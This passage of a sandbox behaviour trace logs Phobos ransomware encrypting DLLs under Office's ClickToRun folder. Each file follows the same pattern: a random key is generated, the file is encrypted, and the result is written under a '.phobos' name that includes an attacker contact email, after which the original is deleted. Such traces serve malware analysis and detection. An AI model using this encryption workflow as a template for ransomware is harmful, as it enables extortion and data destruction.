lpOverlapped=0x0) returned 1 [0062.008] CryptDestroyKey (hKey=0x10dc950) returned 1 [0062.008] CloseHandle (hObject=0x330) returned 1 [0062.008] CloseHandle (hObject=0x2fc) returned 1 [0062.009] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l2-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-file-l2-1-0.dll")) returned 1 [0062.010] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x366fd18 | out: pbBuffer=0x366fd18) returned 1 [0062.010] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-processthreads-l1-1-1.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-processthreads-l1-1-1.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0062.010] GetFileSizeEx (in: hFile=0x2fc, lpFileSize=0x366fcb8 | out: lpFileSize=0x366fcb8*=19136) returned 1 [0062.010] CloseHandle (hObject=0x2fc) returned 1 [0062.011] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-processthreads-l1-1-1.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-processthreads-l1-1-1.dll")) returned 0x20 [0062.011] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-processthreads-l1-1-1.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-processthreads-l1-1-1.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0062.011] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-processthreads-l1-1-1.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-processthreads-l1-1-1.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0062.011] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fc58 | out: lpNewFilePointer=0x0) returned 1 [0062.011] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fc58 | out: lpNewFilePointer=0x0) returned 1 [0062.011] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-processthreads-l1-1-1.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-processthreads-l1-1-1.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0062.011] CryptImportKey (in: hProv=0x10b66e0, pbData=0x366fc10, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x366fc6c | out: phKey=0x366fc6c*=0x10dccd0) returned 1 [0062.011] CryptSetKeyParam (hKey=0x10dccd0, dwParam=0x1, pbData=0x366fd18, dwFlags=0x0) returned 1 [0062.011] ReadFile (in: hFile=0x2fc, lpBuffer=0x3a1d020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x366fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1d020*, lpNumberOfBytesRead=0x366fc94*=0x4ac0, lpOverlapped=0x0) returned 1 [0062.083] CryptEncrypt (in: hKey=0x10dccd0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3a1d020*, pdwDataLen=0x366fc30*=0x4ad0, dwBufLen=0x4ad0 | out: pbData=0x3a1d020*, pdwDataLen=0x366fc30*=0x4ad0) returned 1 [0062.083] WriteFile (in: hFile=0x330, lpBuffer=0x3a1d020*, nNumberOfBytesToWrite=0x4ad0, lpNumberOfBytesWritten=0x366fc78, lpOverlapped=0x0 | out: lpBuffer=0x3a1d020*, lpNumberOfBytesWritten=0x366fc78*=0x4ad0, lpOverlapped=0x0) returned 1 [0062.084] CryptImportKey (in: hProv=0x10b66e0, pbData=0x366fc04, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x366fc70 | out: phKey=0x366fc70*=0x10dc610) returned 1 [0062.084] CryptSetKeyParam (hKey=0x10dc610, dwParam=0x1, pbData=0x366fd18, dwFlags=0x0) returned 1 [0062.084] CryptEncrypt (in: hKey=0x10dc610, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3a1d020*, pdwDataLen=0x366fc30*=0x80, dwBufLen=0x80 | out: pbData=0x3a1d020*, pdwDataLen=0x366fc30*=0x80) returned 1 [0062.084] CryptDestroyKey (hKey=0x10dc610) returned 1 [0062.084] WriteFile (in: hFile=0x330, lpBuffer=0x3a1d020*, nNumberOfBytesToWrite=0x132, lpNumberOfBytesWritten=0x366fc78, lpOverlapped=0x0 | out: lpBuffer=0x3a1d020*, lpNumberOfBytesWritten=0x366fc78*=0x132, lpOverlapped=0x0) returned 1 [0062.084] CryptDestroyKey (hKey=0x10dccd0) returned 1 [0062.084] CloseHandle (hObject=0x2fc) returned 1 [0062.084] CloseHandle (hObject=0x330) returned 1 [0062.085] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-processthreads-l1-1-1.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-processthreads-l1-1-1.dll")) returned 1 [0062.086] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x366fd18 | out: pbBuffer=0x366fd18) returned 1 [0062.086] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-synch-l1-2-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-synch-l1-2-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0062.087] GetFileSizeEx (in: hFile=0x330, lpFileSize=0x366fcb8 | out: lpFileSize=0x366fcb8*=19136) returned 1 [0062.087] CloseHandle (hObject=0x330) returned 1 [0062.087] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-synch-l1-2-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-synch-l1-2-0.dll")) returned 0x20 [0062.087] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-synch-l1-2-0.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-synch-l1-2-0.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0062.087] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-synch-l1-2-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-synch-l1-2-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0062.087] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fc58 | out: lpNewFilePointer=0x0) returned 1 [0062.087] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fc58 | out: lpNewFilePointer=0x0) returned 1 [0062.087] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-synch-l1-2-0.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-synch-l1-2-0.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0062.088] CryptImportKey (in: hProv=0x10b66e0, pbData=0x366fc10, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x366fc6c | out: phKey=0x366fc6c*=0x10dc790) returned 1 [0062.088] CryptSetKeyParam (hKey=0x10dc790, dwParam=0x1, pbData=0x366fd18, dwFlags=0x0) returned 1 [0062.088] ReadFile (in: hFile=0x330, lpBuffer=0x3a1d020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x366fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1d020*, lpNumberOfBytesRead=0x366fc94*=0x4ac0, lpOverlapped=0x0) returned 1 [0062.136] CryptEncrypt (in: hKey=0x10dc790, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3a1d020*, pdwDataLen=0x366fc30*=0x4ad0, dwBufLen=0x4ad0 | out: pbData=0x3a1d020*, pdwDataLen=0x366fc30*=0x4ad0) returned 1 [0062.137] WriteFile (in: hFile=0x2fc, lpBuffer=0x3a1d020*, nNumberOfBytesToWrite=0x4ad0, lpNumberOfBytesWritten=0x366fc78, lpOverlapped=0x0 | out: lpBuffer=0x3a1d020*, lpNumberOfBytesWritten=0x366fc78*=0x4ad0, lpOverlapped=0x0) returned 1 [0062.138] CryptImportKey (in: hProv=0x10b66e0, pbData=0x366fc04, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x366fc70 | out: phKey=0x366fc70*=0x10dc810) returned 1 [0062.138] CryptSetKeyParam (hKey=0x10dc810, dwParam=0x1, pbData=0x366fd18, dwFlags=0x0) returned 1 [0062.138] CryptEncrypt (in: hKey=0x10dc810, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3a1d020*, pdwDataLen=0x366fc30*=0x70, dwBufLen=0x70 | out: pbData=0x3a1d020*, pdwDataLen=0x366fc30*=0x70) returned 1 [0062.138] CryptDestroyKey (hKey=0x10dc810) returned 1 [0062.138] WriteFile (in: hFile=0x2fc, lpBuffer=0x3a1d020*, nNumberOfBytesToWrite=0x122, lpNumberOfBytesWritten=0x366fc78, lpOverlapped=0x0 | out: lpBuffer=0x3a1d020*, lpNumberOfBytesWritten=0x366fc78*=0x122, lpOverlapped=0x0) returned 1 [0062.139] CryptDestroyKey (hKey=0x10dc790) returned 1 [0062.139] CloseHandle (hObject=0x330) returned 1 [0062.139] CloseHandle (hObject=0x2fc) returned 1 [0062.140] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-synch-l1-2-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-synch-l1-2-0.dll")) returned 1 [0062.140] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x366fd18 | out: pbBuffer=0x366fd18) returned 1 [0062.141] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-xstate-l2-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-xstate-l2-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0062.141] GetFileSizeEx (in: hFile=0x2fc, lpFileSize=0x366fcb8 | out: lpFileSize=0x366fcb8*=11616) returned 1 [0062.141] CloseHandle (hObject=0x2fc) returned 1 [0062.141] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-xstate-l2-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-xstate-l2-1-0.dll")) returned 0x20 [0062.141] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-xstate-l2-1-0.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-xstate-l2-1-0.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0062.141] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-xstate-l2-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-xstate-l2-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0062.141] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fc58 | out: lpNewFilePointer=0x0) returned 1 [0062.141] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fc58 | out: lpNewFilePointer=0x0) returned 1 [0062.141] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-xstate-l2-1-0.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-xstate-l2-1-0.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0062.141] CryptImportKey (in: hProv=0x10b66e0, pbData=0x366fc10, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x366fc6c | out: phKey=0x366fc6c*=0x10dca50) returned 1 [0062.142] CryptSetKeyParam (hKey=0x10dca50, dwParam=0x1, pbData=0x366fd18, dwFlags=0x0) returned 1 [0062.142] ReadFile (in: hFile=0x2fc, lpBuffer=0x3a1d020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x366fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1d020*, lpNumberOfBytesRead=0x366fc94*=0x2d60, lpOverlapped=0x0) returned 1 [0062.169] CryptEncrypt (in: hKey=0x10dca50, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3a1d020*, pdwDataLen=0x366fc30*=0x2d70, dwBufLen=0x2d70 | out: pbData=0x3a1d020*, pdwDataLen=0x366fc30*=0x2d70) returned 1 [0062.170] WriteFile (in: hFile=0x330, lpBuffer=0x3a1d020*, nNumberOfBytesToWrite=0x2d70, lpNumberOfBytesWritten=0x366fc78, lpOverlapped=0x0 | out: lpBuffer=0x3a1d020*, lpNumberOfBytesWritten=0x366fc78*=0x2d70, lpOverlapped=0x0) returned 1 [0062.170] CryptImportKey (in: hProv=0x10b66e0, pbData=0x366fc04, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x366fc70 | out: phKey=0x366fc70*=0x10dc810) returned 1 [0062.170] CryptSetKeyParam (hKey=0x10dc810, dwParam=0x1, pbData=0x366fd18, dwFlags=0x0) returned 1 [0062.170] CryptEncrypt (in: hKey=0x10dc810, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3a1d020*, pdwDataLen=0x366fc30*=0x70, dwBufLen=0x70 | out: pbData=0x3a1d020*, pdwDataLen=0x366fc30*=0x70) returned 1 [0062.171] CryptDestroyKey (hKey=0x10dc810) returned 1 [0062.171] WriteFile (in: hFile=0x330, lpBuffer=0x3a1d020*, nNumberOfBytesToWrite=0x122, lpNumberOfBytesWritten=0x366fc78, lpOverlapped=0x0 | out: lpBuffer=0x3a1d020*, lpNumberOfBytesWritten=0x366fc78*=0x122, lpOverlapped=0x0) returned 1 [0062.171] CryptDestroyKey (hKey=0x10dca50) returned 1 [0062.171] CloseHandle (hObject=0x2fc) returned 1 [0062.171] CloseHandle (hObject=0x330) returned 1 [0062.171] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-xstate-l2-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-xstate-l2-1-0.dll")) returned 1 [0062.172] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x366fd18 | out: pbBuffer=0x366fd18) returned 1 [0062.172] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-conio-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-conio-l1-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0062.173] GetFileSizeEx (in: hFile=0x330, lpFileSize=0x366fcb8 | out: lpFileSize=0x366fcb8*=19648) returned 1 [0062.173] CloseHandle (hObject=0x330) returned 1 [0062.173] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-conio-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-conio-l1-1-0.dll")) returned 0x20 [0062.173] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-conio-l1-1-0.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-conio-l1-1-0.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0062.173] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-conio-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-conio-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0062.173] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fc58 | out: lpNewFilePointer=0x0) returned 1 [0062.173] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fc58 | out: lpNewFilePointer=0x0) returned 1 [0062.174] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-conio-l1-1-0.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-conio-l1-1-0.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0062.174] CryptImportKey (in: hProv=0x10b66e0, pbData=0x366fc10, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x366fc6c | out: phKey=0x366fc6c*=0x10dc750) returned 1 [0062.174] CryptSetKeyParam (hKey=0x10dc750, dwParam=0x1, pbData=0x366fd18, dwFlags=0x0) returned 1 [0062.174] ReadFile (in: hFile=0x330, lpBuffer=0x3a1d020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x366fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1d020*, lpNumberOfBytesRead=0x366fc94*=0x4cc0, lpOverlapped=0x0) returned 1 [0062.206] CryptEncrypt (in: hKey=0x10dc750, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3a1d020*, pdwDataLen=0x366fc30*=0x4cd0, dwBufLen=0x4cd0 | out: pbData=0x3a1d020*, pdwDataLen=0x366fc30*=0x4cd0) returned 1 [0062.206] WriteFile (in: hFile=0x2fc, lpBuffer=0x3a1d020*, nNumberOfBytesToWrite=0x4cd0, lpNumberOfBytesWritten=0x366fc78, lpOverlapped=0x0 | out: lpBuffer=0x3a1d020*, lpNumberOfBytesWritten=0x366fc78*=0x4cd0, lpOverlapped=0x0) returned 1 [0062.207] CryptImportKey (in: hProv=0x10b66e0, pbData=0x366fc04, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x366fc70 | out: phKey=0x366fc70*=0x10dc710) returned 1 [0062.207] CryptSetKeyParam (hKey=0x10dc710, dwParam=0x1, pbData=0x366fd18, dwFlags=0x0) returned 1 [0062.207] CryptEncrypt (in: hKey=0x10dc710, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3a1d020*, pdwDataLen=0x366fc30*=0x60, dwBufLen=0x60 | out: pbData=0x3a1d020*, pdwDataLen=0x366fc30*=0x60) returned 1 [0062.207] CryptDestroyKey (hKey=0x10dc710) returned 1 [0062.207] WriteFile (in: hFile=0x2fc, lpBuffer=0x3a1d020*, nNumberOfBytesToWrite=0x112, lpNumberOfBytesWritten=0x366fc78, lpOverlapped=0x0 | out: lpBuffer=0x3a1d020*, lpNumberOfBytesWritten=0x366fc78*=0x112, lpOverlapped=0x0) returned 1 [0062.207] CryptDestroyKey (hKey=0x10dc750) returned 1 [0062.207] CloseHandle (hObject=0x330) returned 1 [0062.207] CloseHandle (hObject=0x2fc) returned 1 [0062.208] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-conio-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-conio-l1-1-0.dll")) returned 1 [0062.209] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x366fd18 | out: pbBuffer=0x366fd18) returned 1 [0062.210] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-environment-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-environment-l1-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0062.223] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x366fcb8 | out: lpFileSize=0x366fcb8*=19136) returned 1 [0062.223] CloseHandle (hObject=0x310) returned 1 [0062.223] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-environment-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-environment-l1-1-0.dll")) returned 0x20 [0062.224] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-environment-l1-1-0.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-environment-l1-1-0.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0062.224] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-environment-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-environment-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0062.224] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fc58 | out: lpNewFilePointer=0x0) returned 1 [0062.224] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fc58 | out: lpNewFilePointer=0x0) returned 1 [0062.224] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-environment-l1-1-0.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-environment-l1-1-0.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0062.232] CryptImportKey (in: hProv=0x10b66e0, pbData=0x366fc10, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x366fc6c | out: phKey=0x366fc6c*=0x10dc710) returned 1 [0062.232] CryptSetKeyParam (hKey=0x10dc710, dwParam=0x1, pbData=0x366fd18, dwFlags=0x0) returned 1 [0062.232] ReadFile (in: hFile=0x310, lpBuffer=0x3a1d020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x366fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1d020*, lpNumberOfBytesRead=0x366fc94*=0x4ac0, lpOverlapped=0x0) returned 1 [0062.238] CryptEncrypt (in: hKey=0x10dc710, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3a1d020*, pdwDataLen=0x366fc30*=0x4ad0, dwBufLen=0x4ad0 | out: pbData=0x3a1d020*, pdwDataLen=0x366fc30*=0x4ad0) returned 1 [0062.238] WriteFile (in: hFile=0x304, lpBuffer=0x3a1d020*, nNumberOfBytesToWrite=0x4ad0, lpNumberOfBytesWritten=0x366fc78, lpOverlapped=0x0 | out: lpBuffer=0x3a1d020*, lpNumberOfBytesWritten=0x366fc78*=0x4ad0, lpOverlapped=0x0) returned 1 [0062.239] CryptImportKey (in: hProv=0x10b66e0, pbData=0x366fc04, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x366fc70 | out: phKey=0x366fc70*=0x10dc9d0) returned 1 [0062.239] CryptSetKeyParam (hKey=0x10dc9d0, dwParam=0x1, pbData=0x366fd18, dwFlags=0x0) returned 1 [0062.239] CryptEncrypt (in: hKey=0x10dc9d0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3a1d020*, pdwDataLen=0x366fc30*=0x70, dwBufLen=0x70 | out: pbData=0x3a1d020*, pdwDataLen=0x366fc30*=0x70) returned 1 [0062.239] CryptDestroyKey (hKey=0x10dc9d0) returned 1 [0062.239] WriteFile (in: hFile=0x304, lpBuffer=0x3a1d020*, nNumberOfBytesToWrite=0x122, lpNumberOfBytesWritten=0x366fc78, lpOverlapped=0x0 | out: lpBuffer=0x3a1d020*, lpNumberOfBytesWritten=0x366fc78*=0x122, lpOverlapped=0x0) returned 1 [0062.239] CryptDestroyKey (hKey=0x10dc710) returned 1 [0062.239] CloseHandle (hObject=0x310) returned 1 [0062.239] CloseHandle (hObject=0x304) returned 1 [0062.240] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-environment-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-environment-l1-1-0.dll")) returned 1 [0062.241] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x366fd18 | out: pbBuffer=0x366fd18) returned 1 [0062.241] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-heap-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-heap-l1-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0062.242] GetFileSizeEx (in: hFile=0x304, lpFileSize=0x366fcb8 | out: lpFileSize=0x366fcb8*=19648) returned 1 [0062.242] CloseHandle (hObject=0x304) returned 1 [0062.242] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-heap-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-heap-l1-1-0.dll")) returned 0x20 [0062.242] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-heap-l1-1-0.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft 